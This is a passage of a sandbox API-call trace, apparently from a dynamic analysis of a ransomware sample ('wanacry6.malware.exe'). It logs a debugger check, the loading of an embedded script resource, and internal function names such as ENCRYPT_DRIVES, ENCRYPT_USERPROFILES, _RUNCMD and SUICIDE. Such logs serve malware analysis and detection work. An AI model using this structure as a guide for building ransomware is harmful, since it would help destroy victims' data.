This=0xe0d67b68f0, pv=0xe0d67c0a30, cb=0x18, pcbRead=0xe0d659f5f0 | out: pv=0xe0d67c0a30*=0xa3, pcbRead=0xe0d659f5f0*=0x18) returned 0x0 [0044.979] IStream:RemoteSeek (in: This=0xe0d67b68f0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xe0d659f5f0 | out: plibNewPosition=0xe0d659f5f0) returned 0x0 [0044.979] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d659f690, cb=0x4, pcbRead=0xe0d659f5f0 | out: pv=0xe0d659f690*=0x45, pcbRead=0xe0d659f5f0*=0x4) returned 0x0 [0044.980] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d659f6c0, cb=0x10, pcbRead=0xe0d659f690 | out: pv=0xe0d659f6c0*=0x4d, pcbRead=0xe0d659f690*=0x10) returned 0x0 [0044.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d659f550 | out: lpSystemTimeAsFileTime=0xe0d659f550*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.980] IStream:RemoteSeek (in: This=0xe0d67b68f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xe0d659f728 | out: plibNewPosition=0xe0d659f728) returned 0x0 [0044.980] IStream:RemoteSeek (in: This=0xe0d67b68f0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xe0d659f000 | out: plibNewPosition=0xe0d659f000) returned 0x0 [0044.980] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d659edb0, cb=0x4, pcbRead=0xe0d659ed80 | out: pv=0xe0d659edb0*=0x6b, pcbRead=0xe0d659ed80*=0x4) returned 0x0 [0044.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d659ec40 | out: lpSystemTimeAsFileTime=0xe0d659ec40*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.980] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d659f018, cb=0x4, pcbRead=0xe0d659ed80 | out: pv=0xe0d659f018*=0xa6, pcbRead=0xe0d659ed80*=0x4) returned 0x0 [0044.980] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d659edc0, cb=0x34, pcbRead=0xe0d659ed80 | out: pv=0xe0d659edc0*=0xe1, pcbRead=0xe0d659ed80*=0x34) returned 0x0 [0044.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d659ec40 | out: lpSystemTimeAsFileTime=0xe0d659ec40*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.980] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d659f018, cb=0x4, pcbRead=0xe0d659ed80 | out: pv=0xe0d659f018*=0x43, pcbRead=0xe0d659ed80*=0x4) returned 0x0 [0044.980] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d659f4d0, cb=0xc6, pcbRead=0xe0d659ed80 | out: pv=0xe0d659f4d0*=0xcd, pcbRead=0xe0d659ed80*=0xc6) returned 0x0 [0044.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d659ec40 | out: lpSystemTimeAsFileTime=0xe0d659ec40*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.980] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d659f710, cb=0x1, pcbRead=0xe0d659f000 | out: pv=0xe0d659f710*=0x0, pcbRead=0xe0d659f000*=0x1) returned 0x0 [0044.980] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d659f030, cb=0x4, pcbRead=0xe0d659f000 | out: pv=0xe0d659f030*=0xbc, pcbRead=0xe0d659f000*=0x4) returned 0x0 [0044.980] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d659f030, cb=0x4, pcbRead=0xe0d659f000 | out: pv=0xe0d659f030*=0xbc, pcbRead=0xe0d659f000*=0x4) returned 0x0 [0044.980] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d659f030, cb=0x4, pcbRead=0xe0d659f000 | out: pv=0xe0d659f030*=0x84, pcbRead=0xe0d659f000*=0x4) returned 0x0 [0044.980] IStream:RemoteSeek (in: This=0xe0d67b68f0, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xe0d659f000 | out: plibNewPosition=0xe0d659f000) returned 0x0 [0044.980] ISequentialStream:RemoteRead (in: This=0xe0d67b68f0, pv=0xe0d67c0440, cb=0x0, pcbRead=0xe0d659f000 | out: pv=0xe0d67c0440*=0x0, pcbRead=0xe0d659f000*=0x0) returned 0x0 [0044.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d659eec0 | out: lpSystemTimeAsFileTime=0xe0d659eec0*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.980] CloseHandle (hObject=0x14c) returned 1 [0044.980] IUnknown:Release (This=0xe0d67b68f0) returned 0x0 [0044.981] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0044.981] IsDebuggerPresent () returned 0 [0044.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xe0d657f750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0044.981] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpszLongPath=0xe0d657f750, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe") returned 0x31 [0044.982] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xe0d657f700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0044.982] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0044.982] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7ffe2a71dbbc [0044.982] Wow64DisableWow64FsRedirection (in: OldValue=0xe0d658f680 | out: OldValue=0xe0d658f680*=0x0) returned 0 [0044.982] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0044.983] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xe0d658f450, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0044.983] GetFileType (hFile=0x14c) returned 0x1 [0044.983] LoadLibraryExW (lpLibFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0044.983] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0044.983] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0044.984] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0044.984] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0044.984] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xe0d658f700 | out: ppstm=0xe0d658f700*=0xe0d67b6b30) returned 0x0 [0044.984] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0044.984] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0044.984] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0044.984] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0044.984] ISequentialStream:RemoteWrite (in: This=0xe0d67b6b30, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0044.984] IStream:RemoteSeek (in: This=0xe0d67b6b30, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0044.984] IStream:RemoteSeek (in: This=0xe0d67b6b30, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xe0d658f618 | out: plibNewPosition=0xe0d658f618) returned 0x0 [0044.984] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d67c0ce0, cb=0x18, pcbRead=0xe0d658f560 | out: pv=0xe0d67c0ce0*=0xa3, pcbRead=0xe0d658f560*=0x18) returned 0x0 [0044.984] IStream:RemoteSeek (in: This=0xe0d67b6b30, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xe0d658f560 | out: plibNewPosition=0xe0d658f560) returned 0x0 [0044.984] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658f600, cb=0x4, pcbRead=0xe0d658f560 | out: pv=0xe0d658f600*=0x45, pcbRead=0xe0d658f560*=0x4) returned 0x0 [0044.984] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658f630, cb=0x10, pcbRead=0xe0d658f600 | out: pv=0xe0d658f630*=0x4d, pcbRead=0xe0d658f600*=0x10) returned 0x0 [0044.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d658f4c0 | out: lpSystemTimeAsFileTime=0xe0d658f4c0*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.984] IStream:RemoteSeek (in: This=0xe0d67b6b30, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xe0d658f698 | out: plibNewPosition=0xe0d658f698) returned 0x0 [0044.984] IStream:RemoteSeek (in: This=0xe0d67b6b30, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xe0d658ef70 | out: plibNewPosition=0xe0d658ef70) returned 0x0 [0044.984] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658ed20, cb=0x4, pcbRead=0xe0d658ecf0 | out: pv=0xe0d658ed20*=0x6b, pcbRead=0xe0d658ecf0*=0x4) returned 0x0 [0044.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d658ebb0 | out: lpSystemTimeAsFileTime=0xe0d658ebb0*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.984] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658ef88, cb=0x4, pcbRead=0xe0d658ecf0 | out: pv=0xe0d658ef88*=0xa6, pcbRead=0xe0d658ecf0*=0x4) returned 0x0 [0044.984] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658ed30, cb=0x34, pcbRead=0xe0d658ecf0 | out: pv=0xe0d658ed30*=0xe1, pcbRead=0xe0d658ecf0*=0x34) returned 0x0 [0044.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d658ebb0 | out: lpSystemTimeAsFileTime=0xe0d658ebb0*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.984] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658ef88, cb=0x4, pcbRead=0xe0d658ecf0 | out: pv=0xe0d658ef88*=0x43, pcbRead=0xe0d658ecf0*=0x4) returned 0x0 [0044.984] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658f440, cb=0xc6, pcbRead=0xe0d658ecf0 | out: pv=0xe0d658f440*=0xcd, pcbRead=0xe0d658ecf0*=0xc6) returned 0x0 [0044.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d658ebb0 | out: lpSystemTimeAsFileTime=0xe0d658ebb0*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.984] IStream:RemoteSeek (in: This=0xe0d67b6b30, dlibMove=0x1, dwOrigin=0x1, plibNewPosition=0xe0d658ecf0 | out: plibNewPosition=0xe0d658ecf0) returned 0x0 [0044.984] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658ed28, cb=0x4, pcbRead=0xe0d658ecf0 | out: pv=0xe0d658ed28*=0xbc, pcbRead=0xe0d658ecf0*=0x4) returned 0x0 [0044.984] IStream:RemoteSeek (in: This=0xe0d67b6b30, dlibMove=0x18, dwOrigin=0x1, plibNewPosition=0xe0d658ecf0 | out: plibNewPosition=0xe0d658ecf0) returned 0x0 [0044.985] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658ed20, cb=0x4, pcbRead=0xe0d658ecf0 | out: pv=0xe0d658ed20*=0x6b, pcbRead=0xe0d658ecf0*=0x4) returned 0x0 [0044.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d658ebb0 | out: lpSystemTimeAsFileTime=0xe0d658ebb0*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.985] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658ef88, cb=0x4, pcbRead=0xe0d658ecf0 | out: pv=0xe0d658ef88*=0xaf, pcbRead=0xe0d658ecf0*=0x4) returned 0x0 [0044.985] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658ed30, cb=0x26, pcbRead=0xe0d658ecf0 | out: pv=0xe0d658ed30*=0xe6, pcbRead=0xe0d658ecf0*=0x26) returned 0x0 [0044.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d658ebb0 | out: lpSystemTimeAsFileTime=0xe0d658ebb0*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.985] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658ef88, cb=0x4, pcbRead=0xe0d658ecf0 | out: pv=0xe0d658ef88*=0x47, pcbRead=0xe0d658ecf0*=0x4) returned 0x0 [0044.985] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658f440, cb=0xce, pcbRead=0xe0d658ecf0 | out: pv=0xe0d658f440*=0xbf, pcbRead=0xe0d658ecf0*=0xce) returned 0x0 [0044.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d658ebb0 | out: lpSystemTimeAsFileTime=0xe0d658ebb0*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0044.985] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658f680, cb=0x1, pcbRead=0xe0d658ef70 | out: pv=0xe0d658f680*=0x1, pcbRead=0xe0d658ef70*=0x1) returned 0x0 [0044.985] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658efa0, cb=0x4, pcbRead=0xe0d658ef70 | out: pv=0xe0d658efa0*=0x28, pcbRead=0xe0d658ef70*=0x4) returned 0x0 [0044.985] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658efa0, cb=0x4, pcbRead=0xe0d658ef70 | out: pv=0xe0d658efa0*=0x23, pcbRead=0xe0d658ef70*=0x4) returned 0x0 [0044.985] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d658efa0, cb=0x4, pcbRead=0xe0d658ef70 | out: pv=0xe0d658efa0*=0xf4, pcbRead=0xe0d658ef70*=0x4) returned 0x0 [0044.985] IStream:RemoteSeek (in: This=0xe0d67b6b30, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xe0d658ef70 | out: plibNewPosition=0xe0d658ef70) returned 0x0 [0044.985] ISequentialStream:RemoteRead (in: This=0xe0d67b6b30, pv=0xe0d67c0ce0, cb=0x9394, pcbRead=0xe0d658ef70 | out: pv=0xe0d67c0ce0*=0x6d, pcbRead=0xe0d658ef70*=0x9394) returned 0x0 [0044.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe0d658ee30 | out: lpSystemTimeAsFileTime=0xe0d658ee30*(dwLowDateTime=0x4e900fa3, dwHighDateTime=0x1d31057)) [0045.014] IUnknown:Release (This=0xe0d67b6b30) returned 0x0 [0045.015] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0045.015] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0045.015] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0045.015] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0045.015] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0045.015] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0045.015] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0045.015] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0045.015] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0045.015] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0045.015] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0045.015] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0045.015] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0045.015] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0045.015] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0045.016] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0045.016] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0045.016] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0045.016] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0045.016] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0045.016] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0045.016] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0045.016] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0045.016] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0045.016] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0045.016] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0045.016] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0045.016] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0045.016] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0045.017] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0045.017] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0045.017] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0045.017] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0045.017] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0045.017] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0045.018] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0045.018] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0045.018] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0045.018] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0045.018] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0045.018] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0045.018] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0045.018] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0045.018] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0045.018] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0045.018] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0045.018] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0045.018] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0045.018] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0045.018] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0045.018] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0045.018] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0045.018] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0045.018] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0045.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.018] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0045.018] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0045.018] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0045.018] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0045.018] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0045.019] 